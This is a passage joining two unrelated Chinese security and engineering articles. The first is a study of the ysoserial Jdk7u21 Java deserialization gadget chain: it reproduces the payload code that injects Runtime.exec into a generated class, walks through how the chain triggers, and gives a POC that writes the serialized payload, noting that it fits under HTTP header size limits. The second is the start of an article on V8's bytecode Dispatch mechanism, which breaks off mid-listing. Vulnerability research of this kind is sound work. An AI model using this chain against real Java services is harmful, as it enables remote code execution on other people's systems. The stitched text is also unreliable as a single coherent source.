AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies()
@Authors({ Authors.FROHOFF })
public class Jdk7u21 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
return set;
}
可以看到payload不是很长，但是利用链中的调用还是比较多的，让我们来慢慢分析吧。
## 0x4 漏洞分析
### 0x4.1 第一层 createTemplatesImpl
别问我为什么这是第一层(payload都是层层嵌套的，这是第一句)
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
// 建立一个templates 对象
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
//
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// Foo.class 没什么很大作用，可能是凑数组数量的，删掉也ok
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
这里分为两部分,一部分是javassist的动态注入，一部分是templates 属性的设置。
> javassist的作用:
>
> 通过动态字节码生成一个类，该类的静态代码块中存储恶意代码。
>
> templates属性设置的作用:
>
> Templates.newTransformer() 实例化该恶意类从而触发其静态代码块中的恶意代码。
这部分的理解我们可以通过调试这个简单的触发语句来理解:
public static void main(String[] args) throws Exception {
TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("open /System/Applications/Calculator.app");//生成恶意的calc
calc.getOutputProperties();//调用getOutputProperties就可以执行calc
}
基本的调用栈如下:
`calc.getOutputProperties()` 执行后
跳转去执行: `newTransformer().getOutputProperties()` 接着去执行`newTransformer()`这个方法。
可以看到在这个方法里面的第一个参数又调用了`getTransletInstance()`,继续跟进
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
我们没有设置`_class`属性,故进入`defineTransletClasses`方法。然后执行
`AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].newInstance();`调用`_class[_transletIndex]`类的无参构造方法,生成类对象。
private void defineTransletClasses()
throws TransformerConfigurationException {
// 这里我们传入了值
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
// 引入加载器
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
// 这里在其他版本会有一句_tfactory.getExternalExtensionsMap()
// 为了防止出错，所以我们给_tfactory 设置 transFactory.newInstance() 这个带有getExternalExtensionsMap方法的实例
// 7u21版本下其实加不加都没关系。
return new
TransletClassLoader(ObjectFactory.findClassLoader());
}
});
try {
final int classCount = _bytecodes.length;
// 根据_bytecodes传入的数目
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
// 加载字节码转化为对应的类
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
// _transletIndex 默认值是-1
// 所以为了不出错，所以这里字节码转换为对应类的时候，其父类必须是
// ABSTRACT_TRANSLET = com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
`_class[i] = loader.defineClass(_bytecodes[i]);` ,加载类并不会触发静态方法,但是之后会有一个
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
进行实例化，从而触发我们javassist注入的静态恶意代码。
**再次梳理代码流程**
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
// 建立一个templates 对象
final T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
}
这里的核心就是将cmd命令通过`makeClassInitializer`方法注入到了`StubTransletPayload`
但是这个类还有一个要求必须是`abstTranslet`的子类,所以这里处理两个类
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
通过javassistd方式将`StubTransletPayload`的父类设置为`abstTranslet`
其实ysoserial做了很多重复的工作(可能有其他作用? 迷。)
从上面我们简单归纳下执行的顺序:
1.TemplatesImpl.getOutputProperties()
2.TemplatesImpl.newTransformer()
3.TemplatesImpl.getTransletInstance()
4.TemplatesImpl.defineTransletClasses()
5.ClassLoader.defineClass()
6.Class.newInstance()
1,2,3,4中都是可以触发的点，但是1,2 是`public`方法可以被对象直接调用，而3,4是`private`方法，只能被对象可调用方法间接调用。
所以我们第二层的目标就是触发第一点或者第二点。
### 0x4.2 第二层 AnnotationInvocationHandler
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
第二层的核心是怎么触发第一层的`TemplatesImpl.newTransformer()`
这里选择`newTransformer()`方法来触发的原因还是比较取巧和骚气的。
理解这个之前，我们先学习一下java的动态代理机制。
> java静态代理: 通过聚合来实现，代理类通过引入被代理类对象。 缺点:不方便批量对接口进行修改
>
> java动态代理:
>
> 实现这两个动态代理，有两个重要的接(InvocationHandler)口和类(Proxy)
>
> 这个特点经常用在日志记录上面，举一个例子介绍用法:
>
> AppService.java
>
>
> package proxypractice;
>
> public interface AppService {
> public boolean createApp(String name);
> }
>
>
> AppServiceImpl.java
>
>
> package proxypractice;
>
> public class AppServiceImpl implements AppService {
>
> @Override
> public boolean createApp(String name) {
> // TODO Auto-generated method stub
> System.out.println("APP["+name + "] has beend created!");
> return true;
> }
>
> }
>
>
> LoggerInterceptor.java
>
>
> package proxypractice;
>
> import java.lang.reflect.InvocationHandler;
> import java.lang.reflect.Method;
>
> public class LoggerInterceptor implements InvocationHandler {
>
> private Object target;
> public LoggerInterceptor(Object t) {
> // TODO Auto-generated constructor stub
> this.target = t;
> }
> @Override
> public Object invoke(Object proxy, Method method, Object[] args)
> throws Throwable {
> // TODO Auto-generated method stub
> System.out.println("Entered" + target.getClass().getName());
> System.out.println("Method:" + method.getName());
> System.out.println("Arguments:" + args[0] );
> // call target's method
> Object result = method.invoke(target, args);
> return result;
> }
>
> }
>
>
>
>
>
> LoggerInterceptor 作为一个中介类，继承了InvocationHandler,
>
> Proxy.newProxyInstance 则通过传入被代理类、代理接口、LoggerInterceptor对象生成了一个代理对象。
>
> 能够实现在调用被代理类方法之前，进入中介类的invoke函数方法里面进行执行前后的处理。
学习完动态代理之后,我们就可以理解上面三句话的作用了。
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
首先通过Reflections框架通过调用初始化函数创建一个AnnotationInvocationHandler对象实例。
然后设置了`type`属性为`Templates.class`
然后创建了一个`Templates`类型的代理,hook了所有接口。(这里绑定什么类都没关系的，因为我们需要的是`equals`方法，默认继承Object根类都自带这个方法,下面会说的)
我们重新写一个只涉及两层利用的POC,通过debug的方式去分析。
package ysoserial.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
public class TwoTest {
public static void main(String[] args) throws Exception {
TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("open /System/Applications/Calculator.app");//生成恶意的calc
HashMap map = new HashMap();
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
proxy.equals(calc);
}
}
调用栈如下,开始逐一分析吧。
这里就是检验`equals`这个方法是不是被重写了,原生的话是会进入`equalsImpl`这个函数的。
private Boolean equalsImpl(Object var1) {
// 判断var1是否为AnnotationInvocationHandle,var1是templates，pass
if (var1 == this) {
return true;
// 构造限制点，type属性限制了var1必须为this.type的类实例
} else if (!this.type.isInstance(var1)) {
return false;
} else {
//这里获取了当前成员的方法
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4]; //遍历获取方法
String var6 = var5.getName(); //获取方法名字
Object var7 = this.memberValues.get(var6);//获取memberValues中的值
Object var8 = null;
// Proxy.isProxyClass(var1.getClass()
// 判断varl是不是代理类,显然不是，pass
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
// 这里直接进行了方法的调用核心。
// var5是方法名,var1是可控的类
// var1.var5()
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
我们的目的是``TemplatesImpl.newTransformer()`
那么我们var1可以通过`proxy(var1)`方式去控制,那么var5怎么去控制方法的呢？
`Method[] var2 = this.getMemberMethods();` 可以看到这里获取了成员的方法，我们选择跟进去看看。
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}
return this.memberMethods;
}
结果发现是通过反射机制从`this.type`这个类属性去获取的。
`Reflections.setFieldValue(tempHandler, "type", Templates.class);`
所以这里我们只要控制type为`Templates.class`就行了。
里面就有`newTransformer`方法,且为第一个,如果是第二个、第三个话,前面可能会因为参数不对等原因出现错误，导致程序没能执行到`newTransformer`方法就中断了。
### 0x4.3 第三层 LinkedHashSet
第三层的核心就是触发`proxy.equals(calc);`
final Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
这里我们可以直观梳理出第三层关键作用的代码:
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
这是最外层`LinkedHashSet`,这个对象在反序列化的时候会自动触发`readObject`方法,从而开始了exp的执行流程
通过查看序列化规则`writeObject`
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out any hidden serialization magic
s.defaultWriteObject();
// Write out HashMap capacity and load factor
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());
// Write out size
s.writeInt(map.size());
// Write out all elements in the proper order.
for (E e : map.keySet())
s.writeObject(e);
}
我们可以知道它的序列化规则
s.defaultWriteObject();
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());
s.writeInt(map.size());
for (E e : map.keySet())
s.writeObject(e);
可以看到有个获取map大小，然后循环写入的过程。(也就是循环写入每一个元素)
在我们的exp里面分别按顺序执行`set.add(templates);` 、`set.add(proxy);` 添加了两个元素。
这到底是为什么需要两个呢？
还有就是
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
.......
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
map.put(zeroHashCodeStr, templates); // swap in real object
我们对创建的代理对象设置了一个特殊的`HashMap map`,
作为了`memberValues`属性的值。 让我们带着这两个问题去分析一下。
**从readObject开始分析**
这里先取出了我们先传入第一个`templates`, 其中`PRESENT` 是一个空的Object 跟进看下 `map.put` 方法的处理
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
因为table一开始为空的，所以我们第一次进入不了循环,最后进入
传入了我们第一个实例通过`hash()`计算出的hash、实例和空object和 `indexFor()`计算出的i值
通过`addEntry`方法添加到了`table`这个Entry中,继续往下执行,
跳转回`map.put(e, PRESENT);`传入我们第二个代理实例。
先记住当前传入的这些值，后面就会发现这些值会有神奇的作用。
我们继续重复上次的操作，先计算`hash`
因为是代理对象,执行方法的时候会进入`invoke`
我们跟进`hashCodeImpl`
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
var2遍历我们传入的map对象,其中var3就是我们的map对象。
`var1 += 127 * ((String)var3.getKey()).hashCode() ^
memberValueHashCode(var3.getValue()`
其中
`var3.getKey()).hashCode()`
这个值`f5a5a608`计算结果为0.
`memberValueHashCode(var3.getValue()`
这个值直接返回`map.put(zeroHashCodeStr, templates);` 中的`templates`的`hashcode`结果。
所以
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
其实就是:
var1 += 0^memberValueHashCode(var3.getValue())
`0^x =x`,所以结果就是`templates`的`hashcode`的结果。
这个结果恰好是我们第一次传入的对象结果。
LinkedHashSet set = new LinkedHashSet(); // maintain order
// 第一次传入的是templates实例
set.add(templates);
// 第二次传入的是proxy代理实例
set.add(proxy);
**虽然我们传入的两个不一样的东西，但是计算hashcode的时候，代理实例的值使我们可以通过设置`this.memberValue`来控制的。**
后面继续向下走:
`e.hash == hash && ((k = e.key) == key || key.equals(k))`
首先`e.hash == hash`这个是满足的,根据&& 短路原则，会继续计算右边的结果,`(k = e.key) == key`
这里进行了赋值`K = e.key`所以k就是`templates`,显然不会等于代理类对象key。根据 ||的短路原则
最终进入了`key.equals(k)`,也就是前面我们所说的`proxy.equals(calc)`，成功完成整个反序列化的RCE链。
## 0x5 POC 长度
package ysoserial.example;
import ysoserial.payloads.Jdk7u21;
import java.io.*;
public class PayloadOk {
public static void main(String[] args) {
try {
Object calc = new Jdk7u21().getObject("open /System/Applications/Calculator.app");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(new File("/tmp/payload.ser")));
objectOutputStream.writeObject(calc);//序列化对象
objectOutputStream.flush();
objectOutputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
可以看到这个POC的Base64之后大小只有3489个字节。常见的nginx header头部max length 4096和tomcat的8192
都可以兼容这个POC。
我们可以继续浏览下其他的反序列化链的大小。
可以看到不同的POC,字节大小的区别还是挺大的,针对不同的容器,选择不同的POC，以及对POC的优化还是很有必要的。
## 0x6 总结
这个链条第一次看的时候感觉真的挺复杂的，但是通过分析之后，理解起来还是比较简单的。但是能够发现这个反序列化链绝对是神级大佬级别的(好奇ing,这种链条的发现真的骚)。后面分析下如何在Shiro
550 tomcat环境中利用该链条执行命令回显。
## 0x7 参考链接
[Java 领域概念：JDK、JRE、JVM](https://zhuanlan.zhihu.com/p/83429963)
[Ysoserial JDK7u21](https://y4er.com/post/ysoserial-jdk7u21/)
[Security Advisory – Java
SE](https://gist.github.com/frohoff/24af7913611f8406eaf3)
[JDK反序列化Gadget
7u21](\[https://lalajun.github.io/2019/11/30/JDK%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadgets%207u21/\]\(https://lalajun.github.io/2019/11/30/JDK反序列化Gadgets
7u21/))
[Java反序列化系列 ysoserial
Hibernate1](https://mp.weixin.qq.com/s/O1ay4BHiyPBkotNIgDQ6Kg)
[Java反序列 Jdk7u21 Payload 学习笔记](https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/)
[java中的反射](https://www.cnblogs.com/tech-bird/p/3525336.html)
[java的动态代理机制详解](https://www.cnblogs.com/xiaoluo501395377/p/3383130.html) | 社区文章 |
# 连载《Chrome V8 原理讲解》第十一篇 字节码调度 Dispatch机制
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 摘要
Dispatch（调度）负责字节码的调度，每条字节码执行完后由Dispatch负责调度下一条字节码执行，相当于寄存器EIP++、执行下一条字节码。Dispatch是V8维护的全局指令调度机制，它由调度表（dispatch
table）、一个物理寄存器和调度函数`Dispatch()`组成，每条字节码处理程序（Bytecode
handler）执行结束后不执行下一条字节码，而是执行函数`Dispatch()`，由它负责调用下一条字节码。本文讲解Dispatch机制的源码、数据结构和`Dispatch()`调度方法。
本文内容组织方式：讲解Dispatch机制具体实现（章节2）；`Dispatch()`调度下一条字节码的源码分析（章节3）。
## 2 Dispatch机制
字节码处理程序的地址存储在`Dispatch table`中，使用物理寄存器维护。`Dispatch
table`是指针数组，数组元素是`Code`类型指针，指向一个字节码处理程序。
1. class Code : public HeapObject {
2. public:
3. NEVER_READ_ONLY_SPACE
4. using Flags = uint32_t;
5. #define CODE_KIND_LIST(V) \
6. V(OPTIMIZED_FUNCTION) \
7. V(BYTECODE_HANDLER) \
8. V(STUB) \
9. V(BUILTIN) \
10. V(REGEXP) \
11. V(WASM_FUNCTION) \
12. V(WASM_TO_CAPI_FUNCTION) \
13. V(WASM_TO_JS_FUNCTION) \
14. V(JS_TO_WASM_FUNCTION) \
15. V(JS_TO_JS_FUNCTION) \
16. V(WASM_INTERPRETER_ENTRY) \
17. V(C_WASM_ENTRY)
18. enum Kind {
19. #define DEFINE_CODE_KIND_ENUM(name) name,
20. CODE_KIND_LIST(DEFINE_CODE_KIND_ENUM)
21. #undef DEFINE_CODE_KIND_ENUM
22. NUMBER_OF_KINDS
23. };
24. static const char* Kind2String(Kind kind);
25. #ifdef ENABLE_DISASSEMBLER
26. const char* GetName(Isolate* isolate) const;
27. V8_EXPORT_PRIVATE void Disassemble(const char* name, std::ostream& os,
28. Address current_pc = kNullAddress);
29. #endif
30. //.................省略很多代码....................
31. //.................省略很多代码....................
32. };
**注意：** 在Isolate中，还有另一个数据表，用于管理所有Builtin，表项也是`Code`类型。本文的`Dispatch
table`数据表，只包含`Code`类型为`BYTECODE_HANDLER`的Builtin地址。
字节码调度由`Builtin`方法实现，其外层的入口函数为`BuildWithMacroAssembler()`，代码如下：
1. Code BuildWithMacroAssembler(Isolate* isolate, int32_t builtin_index,
2. MacroAssemblerGenerator generator,
3. const char* s_name) {
4. HandleScope scope(isolate);
5. // Canonicalize handles, so that we can share constant pool entries pointing
6. // to code targets without dereferencing their handles.
7. CanonicalHandleScope canonical(isolate);
8. constexpr int kBufferSize = 32 * KB;
9. byte buffer[kBufferSize];
10. MacroAssembler masm(isolate, BuiltinAssemblerOptions(isolate, builtin_index),
11. CodeObjectRequired::kYes,
12. ExternalAssemblerBuffer(buffer, kBufferSize));
13. masm.set_builtin_index(builtin_index);
14. DCHECK(!masm.has_frame());
15. generator(&masm);
16. int handler_table_offset = 0;
17. // JSEntry builtins are a special case and need to generate a handler table.
18. DCHECK_EQ(Builtins::KindOf(Builtins::kJSEntry), Builtins::ASM);
19. DCHECK_EQ(Builtins::KindOf(Builtins::kJSConstructEntry), Builtins::ASM);
20. DCHECK_EQ(Builtins::KindOf(Builtins::kJSRunMicrotasksEntry), Builtins::ASM);
21. if (Builtins::IsJSEntryVariant(builtin_index)) {
22. handler_table_offset = HandlerTable::EmitReturnTableStart(&masm);
23. HandlerTable::EmitReturnEntry(
24. &masm, 0, isolate->builtins()->js_entry_handler_offset());
25. }
26. //.....................................................
27. //................省略很多.............................
28. }
`BuildWithMacroAssembler()`的分析方法参见第九篇文章，直接给出它的重要参数：`builtin_index`值为65，是Builtin编号，`generator`为`Generate_InterpreterEnterBytecodeDispatch`，下面是源码：
1. static void Generate_InterpreterEnterBytecode(MacroAssembler* masm) {
2. // Set the return address to the correct point in the interpreter entry
3. // trampoline.
4. Label builtin_trampoline, trampoline_loaded;
5. Smi interpreter_entry_return_pc_offset(
6. masm->isolate()->heap()->interpreter_entry_return_pc_offset());
7. DCHECK_NE(interpreter_entry_return_pc_offset, Smi::kZero);
8. // If the SFI function_data is an InterpreterData, the function will have a
9. // custom copy of the interpreter entry trampoline for profiling. If so,
10. // get the custom trampoline, otherwise grab the entry address of the global
11. // trampoline.
12. __ movq(rbx, Operand(rbp, StandardFrameConstants::kFunctionOffset));
13. __ LoadTaggedPointerField(
14. rbx, FieldOperand(rbx, JSFunction::kSharedFunctionInfoOffset));
15. __ LoadTaggedPointerField(
16. rbx, FieldOperand(rbx, SharedFunctionInfo::kFunctionDataOffset));
17. __ CmpObjectType(rbx, INTERPRETER_DATA_TYPE, kScratchRegister);
18. __ j(not_equal, &builtin_trampoline, Label::kNear);
19. __ movq(rbx,
20. FieldOperand(rbx, InterpreterData::kInterpreterTrampolineOffset));
21. __ addq(rbx, Immediate(Code::kHeaderSize - kHeapObjectTag));
22. __ jmp(&trampoline_loaded, Label::kNear);
23. __ bind(&builtin_trampoline);
24. // TODO(jgruber): Replace this by a lookup in the builtin entry table.
25. __ movq(rbx,
26. __ ExternalReferenceAsOperand(
27. ExternalReference::
28. address_of_interpreter_entry_trampoline_instruction_start(
29. masm->isolate()),
30. kScratchRegister));
31. __ bind(&trampoline_loaded);
32. __ addq(rbx, Immediate(interpreter_entry_return_pc_offset.value()));
33. __ Push(rbx);
34. // Initialize dispatch table register.
35. __ Move(
36. kInterpreterDispatchTableRegister,
37. ExternalReference::interpreter_dispatch_table_address(masm->isolate()));
38. // Get the bytecode array pointer from the frame.
39. __ movq(kInterpreterBytecodeArrayRegister,
40. Operand(rbp, InterpreterFrameConstants::kBytecodeArrayFromFp));
41. if (FLAG_debug_code) {
42. // Check function data field is actually a BytecodeArray object.
43. __ AssertNotSmi(kInterpreterBytecodeArrayRegister);
44. __ CmpObjectType(kInterpreterBytecodeArrayRegister, BYTECODE_ARRAY_TYPE,
45. rbx);
46. __ Assert(
47. equal,
48. AbortReason::kFunctionDataShouldBeBytecodeArrayOnInterpreterEntry);
49. }
50. // Get the target bytecode offset from the frame.
51. __ movq(kInterpreterBytecodeOffsetRegister,
52. Operand(rbp, InterpreterFrameConstants::kBytecodeOffsetFromFp));
53. __ SmiUntag(kInterpreterBytecodeOffsetRegister,
54. kInterpreterBytecodeOffsetRegister);
55. // Dispatch to the target bytecode.
56. __ movzxbq(r11, Operand(kInterpreterBytecodeArrayRegister,
57. kInterpreterBytecodeOffsetRegister, times_1, 0));
58. __ movq(kJavaScriptCallCodeStartRegister,
59. Operand(kInterpreterDispatchTableRegister, r11,
60. times_system_pointer_size, 0));
61. __ jmp(kJavaScriptCallCodeStartRegister);
62. }
63. //================================分隔线=========================
64. //================================分隔线=========================
65. //================================分隔线=========================
66. void Builtins::Generate_InterpreterEnterBytecodeDispatch(MacroAssembler* masm) {
67. Generate_InterpreterEnterBytecode(masm);
68. }
上述代码由两部分组成，`Generate_InterpreterEnterBytecodeDispatch()`是字节码调度程序的入口，`Generate_InterpreterEnterBytecode()`是调度的具体实现，下面给出几点重要概念：
**（1）**
`Generate_InterpreterEnterBytecodeDispatch()`是`Builtin`方法。它的index为65号（V8版本不同，index可能略有不同）。
**（2）** V8使用物理寄存器保存`Dispatch
table`地址，寄存器名字为`kInterpreterDispatchTableRegister`，在实际运行时映射到物理寄存器。使用物理寄存器可以避免指令调度时的入栈出栈，简化指令设计，提高效率。
下面解释代码的重要语句：
**（1）** 代码35行把`dispatch
table`地址移动到`kInterpreterDispatchTableRegister`寄存器，`ExternalReference::interpreter_dispatch_table_address(masm->isolate())`负责从`isolate`中取出基址，`interpreter_dispatch_table_address`的源码如下：
1. ExternalReference ExternalReference::interpreter_dispatch_table_address(
2. Isolate* isolate) {
3. return ExternalReference(isolate->interpreter()->dispatch_table_address());
4. }
5. //================================分隔线=========================
6. interpreter::Interpreter* interpreter() const {
7. return interpreter_;
8. }
9. //================================分隔线=========================
10. Address dispatch_table_address() {
11. return reinterpret_cast<Address>(&dispatch_table_[0]);
12. }
上述代码，可以看到`dispatch_table_`是数组，基址是`&dispatch_table_[0]`,它的位置是`isolate->interpreter_->dispatch_table_`。
**（2）** 代码39行从堆栈中获取bytecode array的基址。
**（3）** 代码51行获取目标bytecode的偏移量（offset）。
**（4）** 代码56、58行，计算目标bytecode地址，存入`kJavaScriptCallCodeStartRegister`。
**（5）** 代码61行，跳转到`kJavaScriptCallCodeStartRegister`，调度完毕，图1为函数调用堆栈。
## 3 Dispatch()方法
`Dispatch()`是字节码处理程序最后调用的方法，故称之为尾部调用（TailCall）方法，下面给出几条字节码处理程序源码：
1. // StaGlobal <name_index> <slot>
2. //
3. // Store the value in the accumulator into the global with name in constant pool
4. // entry <name_index> using FeedBackVector slot <slot>.
5. IGNITION_HANDLER(StaGlobal, InterpreterAssembler) {
6. TNode<Context> context = GetContext();
7. // Store the global via the StoreGlobalIC.
8. TNode<Name> name = CAST(LoadConstantPoolEntryAtOperandIndex(0));
9. TNode<Object> value = GetAccumulator();
10. TNode<IntPtrT> raw_slot = Signed(BytecodeOperandIdx(1));
11. TNode<Smi> smi_slot = SmiTag(raw_slot);
12. TNode<HeapObject> maybe_vector = LoadFeedbackVector();
13. Label no_feedback(this, Label::kDeferred), end(this);
14. GotoIf(IsUndefined(maybe_vector), &no_feedback);
15. CallBuiltin(Builtins::kStoreGlobalIC, context, name, value, smi_slot,
16. maybe_vector);
17. Goto(&end);
18. Bind(&no_feedback);
19. CallRuntime(Runtime::kStoreGlobalICNoFeedback_Miss, context, value, name);
20. Goto(&end);
21. Bind(&end);
22. Dispatch();
23. }
24. // LdaContextSlot <context> <slot_index> <depth>
25. //
26. // Load the object in |slot_index| of the context at |depth| in the context
27. // chain starting at |context| into the accumulator.
28. IGNITION_HANDLER(LdaContextSlot, InterpreterAssembler) {
29. TNode<Context> context = CAST(LoadRegisterAtOperandIndex(0));
30. TNode<IntPtrT> slot_index = Signed(BytecodeOperandIdx(1));
31. TNode<Uint32T> depth = BytecodeOperandUImm(2);
32. TNode<Context> slot_context = GetContextAtDepth(context, depth);
33. TNode<Object> result = LoadContextElement(slot_context, slot_index);
34. SetAccumulator(result);
35. Dispatch();
36. }
37. // LdaImmutableContextSlot <context> <slot_index> <depth>
38. //
